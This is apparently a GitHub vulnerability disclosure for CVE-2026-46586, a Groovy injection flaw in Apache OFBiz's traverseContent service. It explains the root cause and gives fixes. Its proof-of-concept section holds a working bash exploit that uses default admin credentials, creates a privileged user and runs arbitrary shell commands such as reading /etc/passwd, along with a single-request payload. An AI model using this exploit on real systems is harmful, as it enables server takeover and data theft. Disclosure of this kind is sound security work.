lwd3c/CVE-2026-46586
GitHub: lwd3c/CVE-2026-46586
Stars: 0 | Forks: 0
# CVE-2026-46586 - Apache OFBiz: Improper Validation in traverseContent Service Enables Authenticated Groovy Code Execution
**Date:** 2026-05-15
**Tested revision:** `def2d13bb14a4a74fcac7f6e38a83fec7c32fc54` (trunk, latest as of report date)
**Finder:** **lwd3c**
## Timeline
- 2026-05-15 — Vulnerability discovered, reported privately, acknowledged by the Apache OFBiz Security Team, and assigned CVE-2026-46586
- 2026-05-15 — Initial fix developed, shared for validation, and verified by the researcher
- 2026-05-19 — CVE-2026-46586 publicly disclosed
## 1. Summary
The `traverseContent` service accepts user-controlled string parameters (`pickWhen`,
`followWhen`, `returnBeforePickWhen`, `returnAfterPickWhen`) that are passed without
validation into `ContentWorker.checkWhen()`. This method performs a **double evaluation**:
1. `FlexibleStringExpander.expandString()` — processes `${groovy:...}` scriptlets
2. `GroovyUtil.eval()` — evaluates the expanded result as Groovy code
An authenticated user with `SERVICE_MAINT` permission can inject a `${groovy:...}`
expression that executes arbitrary OS commands on the server via the JSR-223 Groovy
engine with no sandbox.
## 2. Affected Files
| File | Line(s) | Role |
|------|---------|------|
| `applications/content/servicedef/services.xml` | 251 | `traverseContent` service — `auth="false"`, no service-layer auth |
| `applications/content/.../ContentServices.java` | 208–212 | `pickWhen`/`followWhen` copied from user context into `whenMap` with no validation |
| `applications/content/.../ContentWorker.java` | 537, 775–796 | `checkWhen()` — expands user input via FSE then evals via Groovy |
| `framework/base/.../FlexibleStringExpander.java` | 317–320 | `${groovy:}` prefix detection → routes to `ScriptUtil.evaluate()` |
| `framework/base/.../ScriptUtil.java` | 264 | `engine.eval(script, scriptContext)` — JSR-223, no sandbox |
| `framework/webapp/.../CoreEvents.java` | 116, 340 | `SERVICE_MAINT` check; `dispatcher.runSync()` on `_RUN_SYNC_=Y` |
## 3. Root Cause
### ContentWorker.java:775 — checkWhen()
public static boolean checkWhen(Map context, String whenStr, boolean defaultReturn) {
boolean isWhen = defaultReturn;
if (UtilValidate.isNotEmpty(whenStr)) {
FlexibleStringExpander fse = FlexibleStringExpander.getInstance(whenStr);
String newWhen = fse.expandString(context); // Stage 1: expands ${groovy:...}
try {
Object retVal = GroovyUtil.eval(newWhen, context); // Stage 2: evals result as Groovy
The `whenStr` value comes directly from the HTTP request parameter `pickWhen` with no
sanitization at any point in the call chain.
### FlexibleStringExpander.java:317 — ${groovy:} detection
if (expression.indexOf("groovy:", start + 2) == start + 2 && !escapedExpression) {
// "checks to see if this starts with a 'groovy:', if so treat the
// rest of the expression as a groovy scriptlet"
strElems.add(new ScriptElem(chars, start, ..., start + 9, end - start - 9));
This is a documented, intentional feature of `FlexibleStringExpander`. The `ScriptElem`
calls `ScriptUtil.evaluate()` at line 699.
### ScriptUtil.java:264 — JSR-223 execution
return engine.eval(script, scriptContext);
No sandbox. Full access to `java.lang.Runtime`, `ProcessBuilder`, file system, and
network.
The `ScriptUtil.isSafeScript()` guard is disabled by default:
`useDeniedScriptletsTokens=false` in `framework/security/config/security.properties`.
### ContentServices.java:208–212 — no input filtering
Map whenMap = new HashMap<>();
whenMap.put("followWhen", context.get("followWhen"));
whenMap.put("pickWhen", context.get("pickWhen"));
whenMap.put("returnBeforePickWhen",context.get("returnBeforePickWhen"));
whenMap.put("returnAfterPickWhen", context.get("returnAfterPickWhen"));
All four parameters flow from HTTP request to `checkWhen()` without any validation.
## 4. Source-to-Sink Trace
HTTP POST /webtools/control/scheduleServiceSync
[body] SERVICE_NAME=traverseContent
_RUN_SYNC_=Y
pickWhen=${groovy: }
contentId=
→ CoreEvents.scheduleService() [CoreEvents.java:108]
→ security.hasPermission("SERVICE_MAINT", userLogin) [CoreEvents.java:116]
→ dispatcher.runSync("traverseContent", context) [CoreEvents.java:340]
→ ContentServices.traverseContent()
→ whenMap.put("pickWhen", context.get("pickWhen")) [ContentServices.java:210]
→ ContentWorker.traverse(..., whenMap, ...) [ContentServices.java:221]
→ ContentWorker.traverse()
→ checkWhen(context, whenMap.get("pickWhen"), true) [ContentWorker.java:537]
→ ContentWorker.checkWhen() [ContentWorker.java:775]
→ FlexibleStringExpander.getInstance(whenStr)
→ fse.expandString(context) [ContentWorker.java:779]
→ FlexibleStringExpander (ScriptElem.get())
→ detects "${groovy:...}" prefix [FSE.java:317]
→ ScriptUtil.evaluate("groovy", script, ...) [FSE.java:699]
→ ScriptUtil.evaluate()
→ engine.eval(script, scriptContext) [ScriptUtil.java:264]
→ *** ARBITRARY CODE EXECUTION ***
## 5. Why Existing Defenses Do Not Prevent This
| Defense | Why it fails |
|---------|--------------|
| `auth="false"` on service | Service layer skips auth; relies entirely on controller. Any webapp with service dispatch and no `SERVICE_MAINT` check could invoke this service. |
| `${groovy:}` is documented | `FlexibleStringExpander` deliberately supports Groovy scriptlets — this is a design feature being misused. |
| `ScriptUtil.isSafeScript()` | Gated by `useDeniedScriptletsTokens=false` (default), so the deny-list is never consulted. |
| No input validation | Zero sanitization on `pickWhen`/`followWhen`/`returnBeforePickWhen`/`returnAfterPickWhen` anywhere in the call chain. |
## 6. Impact
An authenticated user with `SERVICE_MAINT` permission can:
- Execute arbitrary OS commands as the OFBiz process user
- Read or exfiltrate any file accessible to the process (configs, keys, DB files)
- Write files to disk (webshell, cron, SSH authorized_keys)
- Pivot to internal services not exposed externally
## 7. Proof of Concept
### Requirements
- OFBiz running with demo data loaded
- Valid credentials with `SERVICE_MAINT` permission (default: `admin` / `ofbiz`)
### PoC Script
#!/bin/bash
# Apache OFBiz RCE PoC
# Usage: ./poc.sh [user] [password] [command]
# Default: admin / ofbiz / id
# Also works: flexadmin / ofbiz
# Command examples (use single quotes):
# ./poc.sh admin ofbiz 'id'
# ./poc.sh admin ofbiz 'cat /etc/passwd'
# ./poc.sh admin ofbiz 'ls -la /opt'
# To create a new test user first, run: ./poc.sh create_test_user
TARGET="https://localhost:8443"
USER="${1:-admin}"
PASS="${2:-ofbiz}"
CMD="${3:-id}"
COOKIE_JAR="/tmp/ofbiz_rce_cookies.txt"
RCE_OUTPUT="/tmp/ofbiz_rce_result.txt"
create_test_user() {
echo "[*] Creating test user (requires admin login)..."
curl -sk -c "$COOKIE_JAR" "$TARGET/webtools/control/checkLogin" -o /dev/null
curl -sk -L -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$TARGET/webtools/control/login" \
-d "USERNAME=admin&PASSWORD=ofbiz&JavaScriptEnabled=Y" -o /dev/null
curl -sk -b "$COOKIE_JAR" \
-d "partyId=RCEUSER&partyTypeId=PERSON&statusId=PARTY_ENABLED" \
"$TARGET/webtools/control/entity/change/Party" -o /dev/null
curl -sk -b "$COOKIE_JAR" \
-d "partyId=RCEUSER&firstName=RCE&lastName=User" \
"$TARGET/webtools/control/entity/change/Person" -o /dev/null
curl -sk -b "$COOKIE_JAR" \
-d "userLoginId=rceuser&partyId=RCEUSER&enabled=Y¤tPassword={SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" \
"$TARGET/webtools/control/entity/change/UserLogin" -o /dev/null
curl -sk -b "$COOKIE_JAR" \
-d "userLoginId=rceuser&groupId=FLEXADMIN&fromDate=2024-01-01 12:00:00.0" \
"$TARGET/webtools/control/entity/change/UserLoginSecurityGroup" -o /dev/null
echo "[+] Created user: rceuser / ofbiz"
exit 0
}
[ "$1" = "create_test_user" ] && create_test_user
echo "[*] Target: $TARGET"
echo "[*] User: $USER"
echo "[*] Command: $CMD"
# Step 1: Login
echo -n "[*] Login..."
curl -sk -c "$COOKIE_JAR" "$TARGET/webtools/control/checkLogin" -o /dev/null
curl -sk -L -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$TARGET/webtools/control/login" \
-d "USERNAME=$USER&PASSWORD=$PASS&JavaScriptEnabled=Y" -o /dev/null
echo " done"
# Step 2: Create Content record (required by traverseContent)
CONTENT_ID="RCE_ROOT_$RANDOM"
echo -n "[*] Creating content record ($CONTENT_ID)..."
curl -sk -b "$COOKIE_JAR" \
-d "contentId=$CONTENT_ID&contentTypeId=DOCUMENT&contentName=rce&statusId=CTNT_PUBLISHED" \
"$TARGET/webtools/control/entity/change/Content" -o /dev/null
echo " done"
# Step 3: RCE
echo -n "[*] Executing RCE payload..."
curl -sk -b "$COOKIE_JAR" \
-d "SERVICE_NAME=traverseContent&_RUN_SYNC_=Y&POOL_NAME=pool" \
-d 'pickWhen=${groovy: new ProcessBuilder("sh","-c","'"$CMD"' | tee '"$RCE_OUTPUT"'").start().waitFor(); return true}' \
-d "contentId=$CONTENT_ID" \
"$TARGET/webtools/control/scheduleServiceSync" -o /dev/null
echo " done"
# Step 4: Verify
echo "=== RCE output ==="
cat "$RCE_OUTPUT" 2>/dev/null || echo "FAILED: No output file found"
echo ""
[ -f "$RCE_OUTPUT" ] && echo "RCE SUCCEEDED as $USER" || echo "RCE FAILED as $USER"
### Execution and Output
$ ./poc.sh flexadmin ofbiz 'id'
[*] Target: https://localhost:8443
[*] User: flexadmin
[*] Command: id
[*] Login... done
[*] Creating content record (RCE_ROOT_10101)... done
[*] Executing RCE payload... done
=== RCE output ===
uid=1000(lwd3c) gid=1000(lwd3c) groups=1000(lwd3c)...
RCE SUCCEEDED as flexadmin
### Minimal Single-Request Payload (after auth + content setup)
POST /webtools/control/scheduleServiceSync HTTP/1.1
Host: target:8443
Cookie:
SERVICE_NAME=traverseContent&_RUN_SYNC_=Y&POOL_NAME=pool
&contentId=
&pickWhen=${groovy: new ProcessBuilder("sh","-c","id").start().waitFor(); return true}
## 8. Recommended Fix
### Primary fix — validate input in ContentServices.java
Reject `pickWhen`, `followWhen`, `returnBeforePickWhen`, `returnAfterPickWhen` values
containing script expressions before they enter `whenMap`:
// ContentServices.java — traverseContent(), before line 208
for (String param : List.of("pickWhen","followWhen","returnBeforePickWhen","returnAfterPickWhen")) {
String val = (String) context.get(param);
if (val != null && val.contains("${")) {
return ServiceUtil.returnError("Script expressions not permitted in content traversal conditions");
}
}
### Secondary fix — change service auth
### Temporary mitigation
Enable the Groovy scriptlet deny-list in
`framework/security/config/security.properties`:
useDeniedScriptletsTokens=true
## 9. Novelty
This vulnerability has not been described in any public CVE report. Recent OFBiz
security patches addressed:
- `ProgramExport` — indirect import sandbox (`c0592a33b3`)
- `scheduleService` / `runService` — `SERVICE_MAINT` check (`f05a0c2268`)
- Entity MAINT permission check (`771efc4bd7`)
- Tomcat CVEs (`def2d13bb1`)
None of the above patches touch `ContentWorker.checkWhen()` or the
`traverseContent` service parameter handling.
## 10. References
- Apache OFBiz Security Advisory: https://ofbiz.apache.org/
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-46586